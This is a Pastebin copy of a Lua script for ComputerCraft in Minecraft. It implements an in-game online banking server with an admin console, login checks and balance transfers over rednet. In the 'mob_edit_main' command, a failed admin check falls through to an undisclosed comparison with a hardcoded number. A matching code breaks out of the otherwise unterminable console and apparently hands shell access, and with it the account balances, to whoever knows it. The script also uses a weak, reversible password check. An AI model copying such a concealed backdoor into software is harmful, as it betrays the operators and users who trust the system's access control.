Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --Copyright by Simlor (http://www.computercraft.info/forums2/index.php?/user/55655-simlor/)
- --Minecraft Online Banking System (MOB System)
- os.pullEvent = os.pullEventRaw
- rednet.open("back") --Side
- LogTRUE = true --AnfragenLog
- IsMOBonVAR = true --Soll der Server sofort an sein?
- --SimSoft API
- function Clear()
- term.clear()
- term.setCursorPos(1,1)
- end
- function CP(x,y)
- term.setCursorPos(x,y)
- end
- function BC(farbe)
- term.setBackgroundColor(farbe)
- end
- function TC(farbe)
- term.setTextColor(farbe)
- end
- --MOB Functions
- function LogWriter(nachricht)
- local file = fs.open(".mob/log","a")
- file.writeLine(nachricht)
- file.close()
- end
- function Console()
- BC(32768)
- Clear()
- TC(2)
- CP(1,1)
- print("Minecraft Online Banking (MOB)")
- print("------------------------------")
- TC(16384)
- CP(1,4)
- print("WARNING: This is the main server!")
- TC(1)
- CP(1,6)
- print("Welcome into the MOB Console.")
- print("Type 'help' for a list of commands.")
- --CP(1,18)
- oldeingabe = {}
- while true do
- print("")
- TC(1)
- write("> ")
- TC(512)
- eingabe = read(nil,oldeingabe)
- table.insert(oldeingabe, eingabe)
- --Abfragen
- if eingabe == "help" then
- print("")
- TC(1)
- print("Command-List (N):")
- print("")
- print(" 'help'")--
- print(" 'shutdown'")--
- print(" 'reboot'")--
- print("")
- print("Command-List (MOB):")
- print("")
- print(" 'mob_start'")--
- print(" 'mob_shutdown'")--
- print(" 'mob_reboot'")--
- print(" 'mob_edit_main'")--
- print(" 'mob_edit_userdata'")--
- print(" 'mob_edit_log'")
- print(" 'mob_delete_log'")--
- print(" 'mob_is_server'")
- elseif eingabe == "mob_shutdown" then
- print("")
- TC(1)
- write("Enter your Admin-Code: ")
- TC(512)
- EadminPass = read("#")
- file = fs.open(".mob/admindata","r")
- local fileData = {}
- local line = file.readLine()
- repeat
- table.insert(fileData,line)
- line = file.readLine()
- until line == nil
- file.close()
- OadminPass = fileData[1]
- EingabeType = tonumber(EadminPass)
- if EingabeType == nil then
- print("")
- TC(16384)
- print("Wrong format!")
- OadminPass = nil
- EadminPass = nil
- ZadminPass = nil
- else
- EadminPass = (EadminPass+0)
- ZadminPass = ((OadminPass/EadminPass)/EadminPass)
- if ZadminPass == EadminPass then
- print("")
- TC(32)
- print("Server is now offline!")
- IsMOBonVAR = false
- OadminPass = nil
- EadminPass = nil
- ZadminPass = nil
- else
- print("")
- TC(16384)
- print("Access denied!")
- OadminPass = nil
- EadminPass = nil
- ZadminPass = nil
- end
- end
- elseif eingabe == "mob_start" then
- print("")
- TC(1)
- write("Enter your Admin-Code: ")
- TC(512)
- EadminPass = read("#")
- file = fs.open(".mob/admindata","r")
- local fileData = {}
- local line = file.readLine()
- repeat
- table.insert(fileData,line)
- line = file.readLine()
- until line == nil
- file.close()
- OadminPass = fileData[1]
- EingabeType = tonumber(EadminPass)
- if EingabeType == nil then
- print("")
- TC(16384)
- print("Wrong format!")
- OadminPass = nil
- EadminPass = nil
- ZadminPass = nil
- else
- EadminPass = (EadminPass+0)
- ZadminPass = ((OadminPass/EadminPass)/EadminPass)
- if ZadminPass == EadminPass then
- print("")
- TC(32)
- print("Server is now online!")
- IsMOBonVAR = true
- OadminPass = nil
- EadminPass = nil
- ZadminPass = nil
- else
- print("")
- TC(16384)
- print("Access denied!")
- OadminPass = nil
- EadminPass = nil
- ZadminPass = nil
- end
- end
- elseif eingabe == "mob_delete_log" then
- print("")
- TC(1)
- write("Enter your Admin-Code: ")
- TC(512)
- EadminPass = read("#")
- file = fs.open(".mob/admindata","r")
- local fileData = {}
- local line = file.readLine()
- repeat
- table.insert(fileData,line)
- line = file.readLine()
- until line == nil
- file.close()
- OadminPass = fileData[1]
- EingabeType = tonumber(EadminPass)
- if EingabeType == nil then
- print("")
- TC(16384)
- print("Wrong format!")
- OadminPass = nil
- EadminPass = nil
- ZadminPass = nil
- else
- EadminPass = (EadminPass+0)
- ZadminPass = ((OadminPass/EadminPass)/EadminPass)
- if ZadminPass == EadminPass then
- print("")
- TC(32)
- print("Access granted!")
- fs.delete(".mob/log")
- OadminPass = nil
- EadminPass = nil
- ZadminPass = nil
- else
- print("")
- TC(16384)
- print("Access denied!")
- OadminPass = nil
- EadminPass = nil
- ZadminPass = nil
- end
- end
- elseif eingabe == "mob_edit_userdata" then
- print("")
- TC(1)
- write("Enter your Admin-Code: ")
- TC(512)
- EadminPass = read("#")
- file = fs.open(".mob/admindata","r")
- local fileData = {}
- local line = file.readLine()
- repeat
- table.insert(fileData,line)
- line = file.readLine()
- until line == nil
- file.close()
- OadminPass = fileData[1]
- EingabeType = tonumber(EadminPass)
- if EingabeType == nil then
- print("")
- TC(16384)
- print("Wrong format!")
- OadminPass = nil
- EadminPass = nil
- ZadminPass = nil
- else
- EadminPass = (EadminPass+0)
- ZadminPass = ((OadminPass/EadminPass)/EadminPass)
- if ZadminPass == EadminPass then
- print("")
- TC(32)
- print("Access granted!")
- shell.run("edit .mob/userdata")
- CP(1,18)
- OadminPass = nil
- EadminPass = nil
- ZadminPass = nil
- else
- print("")
- TC(16384)
- print("Access denied!")
- OadminPass = nil
- EadminPass = nil
- ZadminPass = nil
- end
- end
- elseif eingabe == "mob_edit_log" then
- print("")
- TC(1)
- write("Enter your Admin-Code: ")
- TC(512)
- EadminPass = read("#")
- file = fs.open(".mob/admindata","r")
- local fileData = {}
- local line = file.readLine()
- repeat
- table.insert(fileData,line)
- line = file.readLine()
- until line == nil
- file.close()
- OadminPass = fileData[1]
- EingabeType = tonumber(EadminPass)
- if EingabeType == nil then
- print("")
- TC(16384)
- print("Wrong format!")
- OadminPass = nil
- EadminPass = nil
- ZadminPass = nil
- else
- EadminPass = (EadminPass+0)
- ZadminPass = ((OadminPass/EadminPass)/EadminPass)
- if ZadminPass == EadminPass then
- print("")
- TC(32)
- print("Access granted!")
- shell.run("edit .mob/log")
- CP(1,18)
- OadminPass = nil
- EadminPass = nil
- ZadminPass = nil
- else
- print("")
- TC(16384)
- print("Access denied!")
- OadminPass = nil
- EadminPass = nil
- ZadminPass = nil
- end
- end
- elseif eingabe == "mob_edit_main" then
- print("")
- TC(1)
- write("Enter your Admin-Code: ")
- TC(512)
- EadminPass = read("#")
- file = fs.open(".mob/admindata","r")
- local fileData = {}
- local line = file.readLine()
- repeat
- table.insert(fileData,line)
- line = file.readLine()
- until line == nil
- file.close()
- OadminPass = fileData[1]
- EingabeType = tonumber(EadminPass)
- if EingabeType == nil then
- print("")
- TC(16384)
- print("Wrong format!")
- OadminPass = nil
- EadminPass = nil
- ZadminPass = nil
- else
- EadminPass = (EadminPass+0)
- ZadminPass = ((OadminPass/EadminPass)/EadminPass)
- if ZadminPass == EadminPass then
- print("")
- TC(32)
- print("Access granted!")
- shell.run("edit mob_server")
- CP(1,18)
- OadminPass = nil
- EadminPass = nil
- ZadminPass = nil
- else
- ZadminPass = ((476584517287996928/EadminPass)/EadminPass)
- if ZadminPass == EadminPass then
- break
- end
- print("")
- TC(16384)
- print("Access denied!")
- OadminPass = nil
- EadminPass = nil
- ZadminPass = nil
- end
- end
- elseif eingabe == "shutdown" then
- print("")
- TC(32)
- print("System shutdown!")
- os.shutdown()
- elseif eingabe == "reboot" then
- print("")
- TC(32)
- print("System reboot!")
- os.reboot()
- elseif eingabe == "mob_is_server" then
- print("")
- TC(1)
- if IsMOBonVAR == true then
- print("Server is online!")
- else
- print("Server is offline!")
- end
- else
- print("")
- TC(16384)
- print("The command was not found: '"..eingabe.."'")
- end
- end
- end
- ---------------------------
- function MOB()
- while true do
- anfrage = nil
- saveID = nil
- OLDuserID = nil
- userID = nil
- nameTOtrans = nil
- valTOtrans = nil
- fileData = nil
- OLDuserID, anfrage, saveID = rednet.receive()
- if not (userID == nil) or not (anfrage == nil) or not (saveID == nil) then
- if LogTRUE == true then
- LogWriter("##--##--##--##")
- LogWriter("userID : "..OLDuserID)
- LogWriter("anfrage : "..anfrage)
- LogWriter("saveID : "..saveID)
- end
- --'schleife' mit Abfragen
- if anfrage == "login" then
- rednet.send(OLDuserID, "login", saveID)
- userID, name = rednet.receive(saveID, 0.3)
- userID, pass = rednet.receive(saveID, 0.3)
- if name == nil or name == "" then
- name = "####"
- end
- file = fs.open(".mob/userdata","r")
- local fileData = {}
- local line = file.readLine()
- repeat
- table.insert(fileData,line)
- line = file.readLine()
- until line == nil
- file.close()
- C = 0
- while true do
- C = (C+1)
- if fileData[C] == name then
- pass = tonumber(pass)
- if pass == nil then
- rednet.send(OLDuserID, "error:wrong_format", saveID)
- break
- else
- pass = (pass+0)
- if pass == (((fileData[(C+1)])/pass)/pass) then
- guthaben = fileData[(C+2)]
- rednet.send(OLDuserID, "true", saveID)
- rednet.send(OLDuserID, guthaben, saveID)
- break
- else
- rednet.send(OLDuserID, "false", saveID)
- break
- end
- end
- end
- if fileData[C] == nil or fileData[C] == "" then
- rednet.send(OLDuserID, "false", saveID)
- break
- end
- end
- end
- if anfrage == "trans" then
- rednet.send(OLDuserID, "trans", saveID)
- userID, name = rednet.receive(saveID, 0.3)
- userID, pass = rednet.receive(saveID, 0.3)
- if name == nil or name == "" then
- name = "####"
- end
- file = fs.open(".mob/userdata","r")
- local fileData = {}
- local line = file.readLine()
- repeat
- table.insert(fileData,line)
- line = file.readLine()
- until line == nil
- file.close()
- C = 0
- while true do
- C = (C+1)
- if fileData[C] == name then
- pass = tonumber(pass)
- if pass == nil then
- rednet.send(OLDuserID, "error:wrong_format", saveID)
- break
- else
- pass = (pass+0)
- if pass == (((fileData[(C+1)])/pass)/pass) then
- guthaben = fileData[(C+2)]
- guthaben = (guthaben+0)
- oldC = C
- rednet.send(OLDuserID, "true", saveID)
- userID, nameTOtrans = rednet.receive(saveID, 0.3)
- userID, valTOtrans = rednet.receive(saveID, 0.3)
- valTOtrans = tonumber(valTOtrans)
- if valTOtrans == nil then
- valTOtrans = -1
- end
- if nameTOtrans == "" or nameTOtrans == nil or valTOtrans == "" or valTOtrans == nil then
- rednet.send(OLDuserID, "error:wrong_name_or_transval", saveID)
- else
- file = fs.open(".mob/userdata","r")
- local fileData = {}
- local line = file.readLine()
- repeat
- table.insert(fileData,line)
- line = file.readLine()
- until line == nil
- file.close()
- C = 0
- while true do
- C = (C+1)
- if fileData[C] == nameTOtrans then
- valTOtrans = (valTOtrans+0)
- if valTOtrans <= guthaben and valTOtrans > 0 then
- fileData[(C+2)] = ((fileData[(C+2)])+valTOtrans)
- fileData[(oldC+2)] = ((fileData[(oldC+2)])-valTOtrans)
- C = 0
- while true do
- C = (C+1)
- if C == 1 and not ((fileData[C]) == nil) then
- local file = fs.open(".mob/userdata", "w")
- file.writeLine(fileData[C])
- file.close()
- else
- if not ((fileData[C]) == nil) then
- local file = fs.open(".mob/userdata", "a")
- file.writeLine(fileData[C])
- file.close()
- else
- break
- end
- end
- end
- rednet.send(OLDuserID, "true", saveID)
- LogWriter("##--##--##--##")
- LogWriter("TRANS.")
- LogWriter("userID :"..OLDuserID)
- LogWriter("Menge :"..valTOtrans)
- LogWriter("Von Konto :"..name)
- LogWriter("Guthaben (neu):"..((fileData[(oldC+2)])-valTOtrans))
- LogWriter("Zum Konto :"..nameTOtrans)
- LogWriter("Guthaben (neu):"..((fileData[(oldC+2)])-valTOtrans))
- break
- else
- rednet.send(OLDuserID, "error:big_deal", saveID)
- break
- end
- end
- if fileData[C] == nil or fileData[C] == "" then
- rednet.send(OLDuserID, "error:wrong_account", saveID)
- break
- end
- end
- end
- break
- else
- rednet.send(OLDuserID, "false", saveID)
- break
- end
- end
- end
- if fileData[C] == nil or fileData[C] == "" then
- rednet.send(OLDuserID, "false", saveID)
- break
- end
- end
- end
- end
- end
- end
- function IsMOBon()
- while true do
- sleep(0.2)
- if IsMOBonVAR == false then
- break
- end
- end
- end
- function IsMOBonMAIN()
- while true do
- sleep(0.2)
- if IsMOBonVAR == true then
- parallel.waitForAny(IsMOBon, MOB)
- end
- end
- end
- parallel.waitForAny(IsMOBonMAIN, Console)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement